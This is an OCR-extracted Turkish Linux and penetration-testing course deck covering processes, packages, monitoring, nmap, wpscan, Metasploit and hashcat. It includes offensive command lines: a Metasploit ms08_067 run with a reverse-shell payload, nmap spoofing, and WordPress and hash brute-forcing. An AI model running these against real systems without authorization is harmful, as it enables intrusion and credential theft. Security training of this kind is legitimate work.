e Sistemde calisan slrecleri ve sureclerin
durumlarini 6grenmek icin ps komutu
kullanilabilir.

* Ps komutunun temel kullanim sekli;

~ v X root@BGA: ~
File Edit View Terminal Help
i~# pS
PID TTY TIM
2349 pts/0 00:00:00 bash
2481 pts/0 00:00:00 ps

.;4."
C~#
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Calisan Prosesleri Inceleme

* Process’lerin hepsini gormek icin “ps aux” komutu
kullanilir. aux kelimesinin her harfi ayri bir
parametredir. Bu sekilde yazilimi daha kisadir.

A~ v X root@BGA: ~
File Edit View Terminal Hel

owvwN

H*
—
© W o~
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Sistem Sireclerini Siralama:Top

Anlik olarak CPU, Ram gibi donanim degerlerini
gosterir

interaktif kullanim dzelligine sahiptir.

Kullanim:
top
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Top komutunun ciktisi

/% root@BGA: ~

t
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Prosesleri Geri Planda Calistirma

Sunucu surecleri disindaki diger sirecler cogunlukla
on planda calismaktadirlar.

Surecin 6n planda cahstirildigi durumlara, siirecin
cahstirildigi terminalden siire¢ sonlanana kadar baska
komut gonderilememektedir.

e Calistirilan slireg arka plana gonderildigi takdirde,
kullanici mevcut terminale tekrar komut
gonderebilmektedir.
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Prosesleri Geri Planda Calistirma

* Bir komutu veya galistirilan bir programi arka plana
atmanin iki yolu vardir

* Sirecin calismasi esnasinda “ctrl-z~tuslariile
calismayi kesip “bg” komutunu calistirmak

* Calistirlacak komuttan sonra bir bosluk birakarak &
semboliinii eklemek. Ornek: “komut &” gibi gibi

* Arka plana gonderilen bir sireci tekrar 6n plana
ctkarmak icin “fg” komutu kullanilabilir.

* Sistemde bir kag calisma ayni zamanda durdurulabilir,
kesilmis calismalarin listesini almak igin “jobs” komutu
kullanilmaktadir
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Prosesleri Geri Planda Calistirma

Siireg¢ sonuna bosluk & ekleyerek geri arkaplana atma
# nc -1lvp 90 &

listening on [any] 90

[1] 5926

ctrl+z ile siireci kesip, “bg” ile arkaplana géndermek

# tcpdump -i eth0 -w ssh.pcap tcp port 22

tcpdump: listening on eth(O, link-type EN10MB
(Ethernet), capture size 96 bytes

~7

[2]+ Stopped tcpdump -i ethO -w ssh.pcap tcp port
22

# bg

[2]+ tcpdump -1 eth0 -w ssh.pcap tcp port 22 &
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Prosesleri Geri Planda Calistirma

Arkaplanda galigan siiregleri listelemek

# jobs

[1]- Running nc -lvp 90 &

[2]+ Running tcpdump -i eth0O -w ssh.pcap tcp port 22 &

Surecleri, 6n plana geri cagirmak
# fg 2
tcpdump -i eth0O -w ssh.pcap tcp port 22

# fg 1
nc -lvp 90
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Proses Sonlandirma:Kill

» Sirecleri sonlandirmak icin kill komutu kullanilir.
* Sinyaller sireclere belliisleri yapmalarini bildirirler.

e “kill” komutunu kullanabilmek igin 6ncelikle “ps”
komutu kullanilarak proses ID bulunmalidir.

v %X root@BGA: ~
File Edit View Terminal Help

--color=auto
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Proses Sonlandirma:Kill

¢ Kill komutuna ait sinyaller asagidaki gibidir

1 (SIGHUP) : Bazi servisler tarafindan
konfiglirasyon dosyalarini yeniden okunmasi
icin kullanilmaktadir.

9 (SIGKILL) :Bir slireci tamamen oldirmek
icin kullanihr.

15 SIGTERM) :Bu sinyal sireci oldirmek
icin kullanilir, ancak bazi durumlarda streci
oldirmekte basarili olamayabilir, bu durumda
SIGKILL kullanilir
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Paket YOnetim Sistemi

* Paket, program kavramlari

* Yeni paket/program ekleme

* Program kurulum sonrasi ayarlari

» Kaynak koddan program kurulumu

* Kurulu paket/programlari glincelleme
* Kurulu paket/programlari kaldirma
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Paket, program Kavramlari

* Paket: programin isletim sistemine uygun
kurulacak hale getirilmis versiyonu.

* Red Hat Linux icin hazirlanmis paketler, Pardus icin
uygun degildir

* Ek bilesenlerle uyumlu hale getirilebilir(istisnai durum)
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Repository Nedir ?

* Repository, Paket Yonetim Sistemlerinin kullandigi
yazilim kaynaklaridir.

* apt-getile kurmak istediginiz bir program bu
kaynaklardan otomatik olarak download edilir ve
sisteminize kurulur.

e Turkiyede linux.org.tr repository hizmeti veren
kaynaklardan birisidir.

* Hemen hemen tim linux dagitimlarinda Paket
yonetim sistemi mevcuttur. Bu nedenle tim
dagitimlar Repository kullanilar.
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Paket, program Kavramlari

* Backtrack, Ubuntu paket yonetim sistemini
kullanir.

* Paket yukleme iki sekilde yapilir
* Synaptic GUI paket yonetim sistemi

*  Komut satiri kullanimi
* #apt-get install paket ismi

Backtrack Linux - 101 Egitimi © 2012 |Bilgi Giivenligi AKADEMISI | www.bga.com.tr

Linux Paket Yonetim Sistemleri

* Linux/UNIX sistemlerde temelde iki ¢esit paket
yonetimi yapilir:
o Kaynak koddan kurulum
o Paket yonetim sistemi kullanarak

* Kaynak koddan kurulum yonetilmesi glic yontemdir
o Bununla birlikte bazi avantajlari vardir

* Paket yonetim sistemi kullanmak gliniimdz sistem
yoneticilerinin hayatini kolaylastirmaktadir
o Kurulan paketler versiyon takibi rahatlikla gerceklestirilir
o Gilncelleme ve paket kaldirma islemleri kolaydir

o Sistemler arasi standartlasma saglar

o Paketlerin hangi dizinde, conf. Dosyalarinin hangi dizinde olacagi
bellidir.
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Synaptic:Paket Uygulamasi

* Synaptic, Paket Yonetim Sisteminin grafiksel
arayuzudur.

* Synaptic uygulamasi, Backtrack ve Ubuntu
dagitimlarinda kullanilabilmektedir.

* apt-get yazilimi ile arasinda hicbir fark yoktur.
Sadece grafik araylzdir.
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Synaptic:Paket Uygulamasi

* Backtrack 5’e Synaptic yazilimi kurulu olarak
gelmemektedir.

e Kurmak igin;

* H#apt-get update
* Hapt-get install synaptic

* “apt-get update” komutu, repository sunucusunda
ki degisikliklerden ve glincellemelerden
Backtrack’in haberdar olmasini saglamaktadir.
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Synaptic:Paket Uygulamasi

ile onay verilir.
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Synaptic:Paket Uygulamasi

* Run Application

[synaptml [+

[ Run in terminal Run with file...

+| Show list of known applications

| Help | ‘ Cancel || Run |

e Alt + F2 tusu ile calistirmak istediginiz herhangi bir
programin sistemde ki adini yazarak “Run”
butonuna basabilirsiniz.

* Synaptic yazilimini ¢alistirmak igin Ustte ki ekran
goruntisinden yararlaniniz.
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Synaptic:Paket Uygulamasi

* Synaptic Package Manager

Rebuilding search index

Cross Platform No package is selected.

Cross Platform (contrib)
Cross Platform (non free)
Databases

L
Sections
Status
Origin
Custom Filters

| search Results |

_ S Package Installed Version  Latest Version
Amateur Radio “ B Otrace 1.0-bt4 1.0-bt4 “
BT-Miscellaneous 0 | 2vcard 0.5-3
BT-Network-Exploitation; [ | 3270-common 3.3.7p7-1build2
BT-Reverse-Engineering O 3dchess 0.8.1-16
BT-Reverse-Engineering; @ 3proxy 0.6.1-bt2 0.6.1-bt2

Base System O |4g8 1.0-3

commniczton R —— : ol
Communication (non free)

Paket arama

Paket kurma

Paket glincelleme
Paket silme
islemleri yapilabilir

31094 packages listed, 1861 installed, 0 broken. 0 to install/upgrade, 0 to remove

1 Egitimi ©

acktrack Linux

Synaptic:Paket Arama

Package

Installed Version [atesl Version

doscan
foomatic-gui
knmap

knmap-docs
lanmap2

BE0000w

Look in: | Description and Name | 5

0.3.1-3
0.7.9.2+nmu2ubun
2.1-4ubuntul
2.1-4ubuntul
1.0-btl

1.05-2

0D
Sections
Status
Origin
Custom Filters
Search Results

18 packages listed, 1861 i lled, 0 broken. 0 to i I,

jrade, 0 to remove
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Synaptic:Paket Kurma

Installed Versic

Quick search

Installed Version | Latest Version De

@ Apply the following changes?

This is your last opportunity to look through the list
of marked changes before they are applied.

[*] To be installed
+| Unchanged

—
A drop-d

just Summary Show Details

d 10 packages will be held back and not upgraded
need to prg 1 new package will be installed

Guake sup; 983 kB of extra space will be used
143 kB have to be downloaded

[0 Download package files only

Cancel Apply
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0

Edit

Reload

Package Settings Help
5 ) T cucksearch =
&

L1 noneyu Loot-a Srnan ua
O knmap 2.1-2ubuntul KDE intel
lanroan 0 1coun20080307-5 0.1+5vn20060307- Network
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Komut Satiri Paket Yonetimi

Paket yuklemek igin

#fapt-get install PaketAda
Paket aramak i¢in

#fapt—-cache search PaketAdi
Paket glincellemek igin

fapt-get update

fapt—-get upgrade
Paket kaldirmak igin

fapt—-get remove PaketAdi
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Kaynak Koddan Program Kurulumu

Klasik yontem
Kaynak kodun bulundugu dizine gecilerek

./configure && make && make install
komutlari verilir

Her kod i¢in ek kurulum yonergeleri olabilir

Bu yonergeler README, INSTALL gibi dosyalarda yazihdir.
Yazilimi kurmadan 6nce bu dékiimanlari okumak
yararlidir.
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Kaynak Koddan Program Kurulumu

~ v X root@BGA: /tmp
File Edit View Terminal Help

« Ornek Uygulama :

*  Wget komutu web sitesinden dosya indirmek icin

=======—===>] 74,376 95.0K/s

2012-04- :51 (95.0 KB/s) - cmatrix-1.2a. .gz' saved [74376/7

http://www.asty.org/cmatrix/dist/cmatrix-1.2a.tar.gz

kullaniimistir.
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Kaynak Koddan Program Kurulumu

Sikistirilmis dosyadan cmatrix yaziliminin kaynak kodlari
cikartilir.

*  #tar xzvf cmatrix-1.2a.tar.gz

Cikartmak isleminden sonra

* #cd cmatrix-1.2a

* #./configure

cmatrix-1.2a klasorine gidilir ve configure isimli dosya
cahstirihir.

Bu dosya, cmatrix yaziliminin calismasi icin gerekli olan

diger yazimlarin ve kitliphanelerin sistemde ki varhigini
kontrol eder
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Kaynak Koddan Program Kurulumu

e Kontrol islemleri tamam ise;
* #make
* #make install

-g -02 -Wall=wno=ecommenl -c cmatrix.c
value of 'systemip=declared with attribu

cmatrix.oth s -lneuEses

Ve cmatrix uygulamamiz kullanima hazir. Calistirmak igin terminal
satirinda “cmatrix” yazmaniz yeterlidir. Artik terminal ekraninda
matrix kayan yazilari akmaktadur.

~ v X root@BGA: /tmp/cmatrix-1.2a
File Edit View Terminal Help

Backtrack Linux- 101 Egitimi © 2012 |Bilgi Giivenligi AKADEMISI | www.bga.com.tr

100



Paket Yonetim Sistemi

e Disk Durumu

e Ram Analizi

e CPU Analizi

* Ag Durum Ozeti
 Trafik izleme
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Disk Durumu Analizi

Diskteki doluluk oranini #df komutu ile goralir
Anlasilabilir ¢ikti icin —h parametresi kullanilir

A v X root@BGA: ~

File Edit View Terminal Help

df -h

ounted on
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Disk Durumu Analizi

minfo

/proc/meminfo dosyasi veya top e
komutu ciktisi kullanilarak RAM

durumu izlenebilir.
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CPU Durumu Analizi

e Cpu durum analizi icin asagidaki komutlari
kullaniriz:

e vmstat
* top

* Ayrica /proc/cpuinfo dosyasi ile CPU durumu
hakkinda bilgi alabilirsiniz.
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e Sistemin son acilisindan suana kadarki durumu
hakkinda rapor veren bir komuttur.

* Kuyrukta bekleyen, calisan kernel thread’ ler,
diskler, sistem cagrilari ve CPU aktivitesi ile ilgili
istatistiki bilgi verir.

* Komuta verilen ilk parametre kag saniyede bir
rapor uretilecegini, ikinci parametre ekrana kag
defa ¢ikti verilecegini belirtir.
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~ v %X root@BGA: ~
File Edit View Terminal Help

Sistem bilgisini 2 saniye araliklar ile 4 kez ekrana
yazdirmak icin #vmstat 2 4 komutu kullanilir:
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Vmstat Ciktisinin Yorumlanmasi

Procs Bolumiu

* r (Running): isleyis siiresince calistiriimayi
bekleyen proseslerin sayisini gosterir. Tek islemcisi
olan sistemlerde bu degerin 5’ den kuglik olmasi
gerekir. Bu degerde artis meydana gelirse calisan
uygulamalar gozden gecirilmelidir.

* b (Blocking): Askiya alinmis proseslerin sayisini
gosterir. Saglikli calisan bir sistemde bu degerin
mumkuin oldugunca sifira yakin olmasi gerekir.
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Vmstat Ciktisinin Yorumlanmasi

Memory Bolimdi:

* swpd: Kullanilan sanal bellegin miktarini gosterir.

» free: Ne kadarlik bellegin kullanilmadigini gosterir.

* buff: Tampon olarak kullanilan bellek miktarini gosterir.

« Cache: Onbellek olarak kullanilan bellek miktarini gésterir.
* inact: Etkin olmayan bellek miktarini gosterir.

e active: Etkin olan bellek miktarini gosterir.
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Vmstat Ciktisinin Yorumlanmasi

Swap Bolimu
* si(swap in): Swap alanina dahil edilen bellek miktarini gosterir.
* so (swap out): Swap ile degis tokus edilen bellek miktarini gosterir.

io B&IUm
* bi(blocks in): Blok aygitindan gelen blogu gosterir.
* bo (blocks out): Blok aygita gonderilen blogu gosterir.

System Bolimi
* in: Saniye basina ortalama kesme sayisini gosterir.
* cs: Saniye basina ortam anahtarlarinin sayisini gosterir.
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Vmstat Ciktisinin Yorumlanmasi

Cpu Bolima:

* us (User): Cekirdek disindaki kullanici islemlerinin
harcadigi CPU miktarini gosterir.

* sy (system): Cekirdegin harcadigi CPU miktarini gosterir.

* id (idle): Bos olan CPU miktari hakkinda bilgi verir.

* wa (wait): I/O islemleri igin harcanan CPU miktarini
gosterir.

* st (stolen): Sanal makine tarafindan calinan CPU miktarini
gosterir.
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Top Komutu

* Top Komutu ile sistemde calismakta olan processler
hakkinda detayli bilgilere erisilir.

* CPU, RAM ve SWAP bilgilerini ekrana doker.

* Sistem load average’ini ve up time’ini gosterir.

» Sistem load average : Sistemin Ustlnde ki is yuka.

* Up Time: Sistemin ne zamandir acik oldugu bilgisi.
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Top Komutu

A v X root@BGA: ~
File Edit View Terminal Help

2.

PID USEl PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
14 20 © S 0: Lsd

5 root
6 root

* Sistemde kac kullanicinin aktif oldugunu, kac¢ adet process’in calistigl
gibi bilgileri gbstermektedir.
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Ag Durum Ozeti

Backtrack Lin

Acik TCP Baglantilari

e #netstat -t komutu kullanilir

* Ayni zamanda acgik TCP portlarinin hangi yazilim tarafindan
kullanildigi istenirse —p parametresi eklenir.

* Calisan programlara ait detay bilgi icin —e parametresi
kullanilir

root@bt:-# netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
[¢] 192.168.127.132:44580 209.85.135.105:80 ESTABLISHED
192.168.127.132:35913 74.125.10.90:80 ESTABLISHED
192.168.127.132:38291 209.85.135.100:80 ESTABLISHED
192.168.127.132:44581 209.85.135.105:80 ESTABLISHED

192.168.127.132:44579  209.85.135.105:80 ESTABLISHED

0
0
0
0 192.168.127.132:59427 — 74.125.43.113:80 ESTABLISHED
0
0 192.168.127.132:44582  209.85.135.105:80 ESTABLISHED
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Aktif Ag Servislerini Bulma

TCP servisleri icin

#netstat —ant|grep LISTEN

bt:-# netstat -a r LISTEN
[¢] 2 g Q:* LISTEN
) H LISTEN
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Trafik izleme

* Tcpdump

* En temel kullanim

* # tcpdump -i ag arabirimi

* Sik kullanilan parametreleri;
e« -i = agarabirimi
e -nn = isim¢dzme
* tcp port = port numarasi
* host = hostsegimi
« -w = trafigi kaydet
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Trafik izleme

* Tcpdump Uygulamalari

* Web trafigini izle
* # tcpdump -nn —-i eth0 tcp port 80

* 1.1.1.1 ip adresine gelen/giden trafigi goster
* # tcpdump -nn -i ethO host 1.1.1.1

 1.1.1.1 ip adresine gelen SMTP trafigini kaydet

* # tcpdump -nn -i ethO0 tcp port 25 and host
1.1.1.1 -w smtp.pcap
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Trafik izleme

B Reoleek RTLA166C/NITIC PCLE Gigabit Ethernet NIC (not kep port 3389) - Wireshark
Ble fdit View Go Coptwre Anshz Satistes Telephomy Tools Help
Seaes BR2L Ae»aTFL/EG D @M% B

Filker > Epression.. Clear Apply

Ne. Time Source Protocal Info
433 1L, 340334 UY. 8,180,180 ek Mg LAk s8q Tz
456 11.34820% 50.22.202.162 TCP  [TCP segment of embled POU]
457 11.350170 50.22.202.162 TCP [1CP segment of embled FOU]

459 11.351679 50.22.202.162
460 11.353144 50.22.202.162

HTTP  CoNtinuation or non -n1r= Trart
TP o) t“ wation or non-HITe traffic

462 11.354850 50.22.202.162

HTTP cnnt(n ation or nnn HTTP traffic
463 11.356204 50.22.202.162

HTTP  cContinuation or non-HTTP traffic

465 11.422382 50.22.202.162 HITE  Continuatior ~HTTE traffic

s)
A tFFffCDlO\JS?fffFJ
29,2552

5 23
Fort: 1024 (1024), DSt P ssdp (1900)

0000 01 Of Ff fa 00 22 6b F1 33 Ze 0% 00 45 00
000 01 1 ELR 7¢ 00 06 05 06 ol ef Ff

d od o;
R ce
@ |File: CAL1ers\PENTES. 1VeppDstatLocaiiT.. | Packets: 417 Displayeds 471 Marked: 0 Drapped 0 Profle: Defoult

Wireshark ya2|I|m| tcpdump yazilimi ile ayni gorevi
yapmaktadir. Wireshark, grafiksel arayliz olarak
kullanihr. Bu yizden paketlerin takibi daha kolaydir.
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Backtrack Pentest Araclari

* Information Gathering
* Vulnerability Assessment
* Exploitation Tools

* Privilege Escalation

* Maintaining Access

* Reverse Engineering

* RFID Tools

* Stress testing

* Forensics

* Reporting Tools

* Services
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Backtrack Pentest Araclari

* Bu ana kategoriler altinda Backtrack’in sahip
oldugu araclar bulunmaktadir.

* Bir arag birden ¢ok kategoride bulunabilmektedir.
Bunun nedeni bazi araglarin birden fazla gorevi
yerine getirebiliyor olmasidir.
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Information Gathering

* Hedef sistemler hakkinda bilgi toplamak igin
gelistirilmis uygulamalarin kategorize edildigi
basliktir.

* Network, Web Application, Wireless ve Database
adinda dort ana gruptan olusmaktadir.

* Bu basliklar altinda, hedef sistemleri analiz edip,
kullaniciya bilgi verecek araglar bulunmaktadir.
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Cms-Explorer

Information Gathering -> Web Application Analysis -
> CMS Identification -> Cms-Explorer

* lletisim Adresi: chris.sullo.sunera@gmail.com
Anasayfa: http://code.google.com/p/cms-

explorer/

CMS sistemlerinin kullandigi plug-in ve
templateleri belirlemek igin gelistirilmistir.
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Cms-Explorer

» perl cms-explorer.pl —update

Komutu ile giincellestirmeler yapilmaktadir.

* perl cms-explorer.pl -url http://hedef.com/ -v 1 -bsproxy
localhost:8080 -explore -type wordpress

-url : Enumaration yapilacak web sitesi.

-v :Verbose seviyesi

-bsproxy : Proxy kullanabilme 6zelligi.

-explorer : Hedefte theme ve plug-in belirlemesi.
-type : Hedef url’de kullanilan CMS tird.
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Cms-Explorer

* perl cms-explorer.pl -url http://example.com/ -type
joomla —osvdb

-osvdv : http://osvdb.org/ sitesinin API’sini kullanarak
hedef URL Ustiinde tespit edilen bilesenler igin
yayinlanmis glvenlik agiklarini arastirir.

* cms-exlorer sitesinde belirtilene gore osvdb API’si ile
Ucretsiz olarak giinde 100 adet vulnerabilities aramasi
yapilabilmektedir.
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nmap

* Nmap —network mapper-, ag kesif calismalari ve givenlik
denetlemeleri igin gelistirilmis opensource bir projedir.

* Network boyutu fark etmeksizin hizli ve basarih bir
tarama gerceklestirmek tzere tasarlanmistir.

* Nmap, tarama teknikleri agisindan ¢ok zengin bir aractir.
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nmap

* #nmap —help
* Komutu ile nmap’in kullanim klavuzu ekrana gelmektedir.

* Hedef Belirleme - Target Specification -:
o Domain Bazinda ( www.bga.com.tr )

IP Bazinda ( 192.168.2.1)

IP Araligi Bazinda ( 192.168.2.0/24)

Dosyadan Okumak ( -iL parametresiile )

o O O O

Olmak tzere bir ¢cok sekilde hedef belirtebilirsiniz.
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nmap

* Host Kesif - Host Discovery-
o -sL =Taranacak hedefleri listeler.

o -sn = Taranak hedefleri Ping pakerleri ile tespir eder. Windows isletim
sisteminde Firewall aktif ise ping paketlerine cevap donmez. Bu tarama tiri
yaniltici olabilir.

* Tarama Teknikleri —=Scan Techniques-.

o -sS = TCP SYN SCAN teknigidir. Nmap hedef porta baglanmak igin SYN paketi gonderir. Eger
hedef port agiksa ve port gelen bu talebe cevap verebilir durumdaysa SYN/ACK paketi doner.
Eger SYN/ACK paketi gelirse nmap RST paketi gondererek Ugll el sikisma tamamlanmadan
sonlandinir. Cinku SYN/ACK paketinin gelmesi portun agik oldugunun anlagiimasi igin yeterlidir.

o -sT = TCP CONNECT SCAN teknigidir. En basit diizeyde ¢alisan port tarama teknigidir. Nmap
hedef porta baglanmak icin SYN paketi gonderir. Eger hedef port agiksa ve port gelen bu talebe
cevap verebilir durumdaysa SYN/ACK paketi doner. Port kapali ise RST cevabi gelecektir.

o -sU = Hedef sistemin UDP portlarindan hangilerinin agik oldugunu tespit etmek igin kullanilir.
Hedef sisteme gonderilen talebe “Port Unreachable” cevabi gelirse port kapali, cevap gelmez ise
port agik demektir.

Backtrack Linux - 101 Egitimi © 2012 |Bilgi Giivenligi AKADEMISI | www.bga.com.tr

nmap

* Port Belirleme — Port Specification-:

o -p parametresi ile hedeflerin hangi portlarinin taranacagi belirtilir.
o -p 22 : Sadece 22. portu tara.

o -p 21,22,80 : Sadece 21, 22 ve 80. portlari tara.

o -p 1-800 : 1ile 800 arasinda tiim portlari tara.

o --top-ports 5 : En ¢ok bilinen 5 portu tarar.

* Servis ve Versiyon Tespiti — Version Detection —

o -sV parametresi ile hedef sistemin taranan portunda galisan servisin
versiyon bilgisi elde edilir.

e isletim Sistemi Tespiti — OS Detection —

* -0 :Hedef sisteme gonderilen 6zel paketlere, isletim sistemlerinin verdigi
tepkiler farklidir. Nmap bunlari kontrol ederek hedef sistemin isletim
sistemini tespit etmeye calisir.
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nmap

* Yaniltma - Spoofing-

o -S=Hedef sisteme gonderilecek paketlerin source kismina farkl IP adresleri
yazilabilir. Bu durumda hedef sistem, sizden gelen paketlerin cevabini
yazdiginiz IP adresine gonderecektir.

o --spoof-mac 00:00:00:00:00:00= Mac adresinin spoof edilmesi igin.

o --data-length 64 = Belirttiginiz sayI boyutunda rastgele olusturulan data,
gonderilecek paketlere eklenir.
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* 192.168.2.0/24 networkiinde canli olan ip’lerin ve bu bilgisayarlarin
mac adressleri.
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e : E (1t up) = in 2 ds
192.168.2.1 ip’sinin acik olan portlarinin TCP SYN SCAN teknigi ile
belirlenmesi.

NMAP ORNEKLER — 3:

192.168.2.1 ip’sinin 80. tcp portunda galisan servisin bilgilerinin
tespiti.
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nmap

*  NMAP ORNEKLER - 2:

e Once taranacak ip’ler bir dosyaya yazdirildi. —iL parametresi ile dosyadan
okunarak TCP SYN SCAN teknigi ile tarandi.
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Vulnerability Assessment

* Vulnerability Scanners, Network Assessment, Web
App. Assessment ve Database Assessment isimli
dort adet alt bashgi bulunmaktadir.

* Bu basliklar altinda, hedef sistemleri analiz
ettikten sonra, tespit edebildigi agikliklari size
bildiren araclar bulunmaktadir.
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* #Wulnerability Assessment -> Web App.
Assessement -> CMS Vulnerability Identification ->
wpscan

* Anasayfa = http://code.google.com/p/wpscan/

* Ruby diliile gelistirilmis Wpscan yani wordpress
scanner, wordpress sistemlere User Enumaration,
Password Brute-Force ve plug-in tespiti calismalari
yapmaktadir.
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root@bt:/wpscan# ruby wpscan.rb —h
* Komutu ile uygulamanin kullanim klavuzu ekrana
gelmektedir.
--url Hedef system URL'i
--enumerate Enumeration.
u Kullanici
Y Versiyon
o Plugins
t timthumb
--wordlist Sifre brute-force et
--username Kullanici Adi brute-force et
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root@BGA:/pentest/web/wpscan# ruby wpscan.rb —
update

* Komutu ile wpscan aracinin gincellestirmeleri
yapilmaktadir. Wpscan, Hedef sistem Uzerinde
yapacagi plug-in ve theme tespiti calismalarinda
kendi veritabanindan yararlanir. Bu veritabaninin
glince olmasi 6nemlidir.
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# rubywpscan.rb -u http://blog.bga.com.tr —enumerate -p

* Komutu ile wpscan araci, -u parametresi ile aldigi
hedef sistemde kullanilan plug-in’leri tespit
etmeye calisacaktir.

* Wpscan,tespit edilen plug-in’ler hakkinda
yayinlanmis bir guivenlik agigi olup olmadiginin
kontrollinli yapacaktir.
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# ruby wpscan.rb --url mehmetince.net --enumerate
p —proxy 127.0.0.1:8181

* Wopscan araci ile yapacaginiz taramalari bir proxy
server Uzerinden gerceklestirmek istiyorsaniz, --
proxy parametresi ile proxy serverin ip adresini ve
port numarasini belirtmeniz gerekmektedir.
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Exploitation Tools

* Hedef sistemler lizerinde bulunan givenlik
aciklarini somurebilecek araclarin bulundugu
sekmedir.

* Network Exploitation, Web App Exploitation,
Wireless Exploitation gibi pek ¢ok alt bashgi
bulunmaktadir.

* Bu basliklar altinda, hedef sistemlere saldiri
duzenleyebilecek uygulamalar bulunmaktadir.
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Metasploit Framework

Exploitation Tools -> Network Exploitation Tools ->
Metasploit Framework

* Konu “exploit” olunca akla “metasploit” in
gelmemesi imkansizdir.

* Penetration Tester’larin en ¢ok kullandiklari
araclardan birisidir.
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Metasploit Framework

* Metasploit Framework guvenlik aciklarini tespit
etmek ve bu aciklarin somurilmesi sonucunda
nelerin ortaya ¢ikabilecegini test eden opensource
bir projedir.

* Metasploit HD Moore tarafindan 2003 yilinda Perl
dili ile gelistirildi. Ardindan Metasploit Framework
Ruby dili ile tamamiyle yeniden yazildi.
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msfconsole

* Konsol tabanlidir.
* Metasploit’in en populer aracidir.
* [sletim sistemi komutlarinida calistirabilir.

e Linux’un ozelligi olan TAB ile tamamlamayi
destekler.

* Msfconsole’u baslatmak icin;
* root@BGA:~# msfconsole
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msfconsole

£ root@BGA: ~

* Msfconsole baslatildiginda, size mevcut yapisiyila ilgili bilgiler
vermektedir.
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msfconsole

* Metasploit’in glincel olmasi 6nemlidir. Yayinlanan son exploitlerden
sisteminizin haberdar olmasi igin update yapiimalidir.

* Msfconsole’un komut satirindayken, “svn update” komutu ile
glcellestirmeler yapilir.

* Msfconsole’da yardim almak igin “help” komutu kullanilir.

msf > help

Core Commands

Command  Description

? Help menu
back Move back from the current context
banner Display an awesome metasploit banner

cd Change the current working directory
color Toggle color

connect  Communicate with a host

exit Exit the console

help Help menu
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msfconsole

* TAB tusu ile komut/dizin tamamlama 6zelligini
msfconsole’da kullanabilirsiniz.

msf > use exploit/linux/http/
use exploit/linux/http/alcatel_omnipcx_mastercgi_exec
use exploit/linux/http/dolibarr_cmd_exec
use exploit/linux/http/linksys_apply_cgi
use exploit/linux/http/piranha_passwd_exec
use exploit/linux/http/ddwrt_cgibin_exec
use exploit/linux/http/gpsd_format_string
use exploit/linux/http/peercast_url
use exploit/linux/http/vcms_upload
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msfconsole

*  “Show” komutu ile moduller hakkinda bilgi alinabilir.

* Sadece “show” komutu yazildiginda metasploitte ki bltiin modiiller ve bu
modillerin agiklamalari ekrana yazilacaktir.

*  Eger “show exploits” komutu verilirse bu ayni durum sadece exploit’ler igin
gerceklesecektir.
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msfconsole

* Herhangi bir modiil icerisinde detayl bilgi almak amaciyla
“info” komutu kullanilabilir.

msf > info exploit/windows/smb/ms08_067 netapi

Name: Microsoft Server Service Relative Path Stack Corruption
Module: exploit/windows/smb/ms08 067 _netapi

Version: 14976

Platform: Windows

Privileged: Yes

License: Metasploit Framework License (BSD)

Rank: Great
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msfconsole

* Bir Modil kullanilacagi zaman “use” komutu kullantlir.

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

*  “show options” komutu ile kullanilan modiliin ayarlari ekrana gelir.
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msfconsole

* “show options” komutundan gelen bilgilere gore gerekli
degiskenlere set komutu ile datalar aktarilr.

msf exploit(ms08_067_netapi) > set RHOST 192.168.2.5
RHOST =>192.168.2.5

msf exploit(ms08_067_netapi) > set RPORT 445

RPORT => 445

* Exploitin ¢alistirilmasi icin “exploit” komutu kullanilir.

* Geri gelmek icin veya yanlis bir komutu iptal etmek icin “back”
komutu kullantlir.
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msfclie

*  Msfcli, metasploit’l kullanan bir komut satiridir.
*  Metasploitte ki modiilleri daha hizli kullanmamizi saglamaktadir.

@ roct@BGA: ~ o B ]
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msfclie

e Kullanimi;

*  msfclie windows/smb/ms08 067 _netapi RHOST=192.168.2.4
payload=windows/shell/reverse_tcp

* windows/smb/ms08 067 netapi
= Kullanilacak modiil segilmistir.

* RHOST=192.168.2.4
= Hedef ip adresi.

* payload=windows/shell/reverse_tcp
= Hedef sisteme yapilan saldiri basariyla ulasirsa, hedefte calistirilacak
payload.
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msfclie

* Daha 6nce Metasploit ile ilgili Bilgi Glvenligi Akademisi
tarafinda hazirlanmis olan Metasploit El Kitabi icin;

*  http://www.bga.com.tr/calismalar/MetasploitElKitabi.pdf
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Privilege Escalation

* Mevcut sistemler lizerinde sahip olunan yetkilerin
genisletilmesi/ylkseltimesi icin kullanilabilecek
araclarin bulundugu bolim.
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 Hashcat Ozellikleri:
Hashcat sitesini ziyaret ettigimizde karsima farkh
toolar ve GUI ¢ikmakta. Bunlar; Hashcat, Hashcat-gui
oclHashcat-lite and oclHashcat-plus.

* Hepsinin tek bir yazilim altinda olmamasinin ama
nedenleri arasinda, her bir tool’'un 6zellestigi bir alan
olmasi ve bu alan hususunda farkli algoritmalara
ihtiyac duyulmasi yatmakta.

* Hashcat onlarca farkli opensource yazilimi igin salt
cracking, 20 farkl algoritmaya gére cracking islemi
yapabilmektedir.
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Hashcat — Bir cok hash algoritmasi icin crack islemi yapabilen
bu tool, multithreading desteklidir ve CPU gliclinden
yararlanmaktadir.

oclHashcat-gui — Hashcat multi OS destekli grafik ara yizu.

oclHashcat-lite — Sadece bir adet hash cracklemek igin
gelistirilmistir ve GPU desteklidir.

oclHashcat-plus — Es zamanli olarak bir ¢cok hash i¢gin cracking
islemi yapabilmektedir. Wordlistleri kullanabilme ve
olusturabilme o6zellikleri igin 6zellestirilmis.
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GPU -Graphics processing unit- destegi icin dogru ekran karti
driveri kurulu olmalidir. Nvidia (CUDA) ve AMD (OpenCL).
Henuz Intel igin destek verememektedir. Yapilan testler
sonucunda AMD’nin mimarisinden 6tiri AMD
performasinda Nvidia’dan 3 kat daha hizli oldugu
gorilmustdr.
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#./hashcat-cli32.bin -a 3 —bf-pw-min=1 —-bf-pw-max=10 —bf-
cs-buf=0123456789 hashdosyasi.txt

-a 3 ile attack modu olarak brute-forcing secilmistir. —

-bf-pw-min=1 —bf-pw-max=10 parametrelerin sifrenin 1 ile
10 karakter araliginda oldugunu belirtmektedir.

-bf-cs-buf=0123456789 kisminda bir pattern belirlemesi
yapiyoruz. Sadece rakamlar ile test gerceklestirildi. Tercihen
abcxz gibi karakterlerde dahil edilebilir.
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Ardindan hashcat yazilimi size 10 adet paragraf output
verecektir. Bu agiklamalar incelendiginde brute force
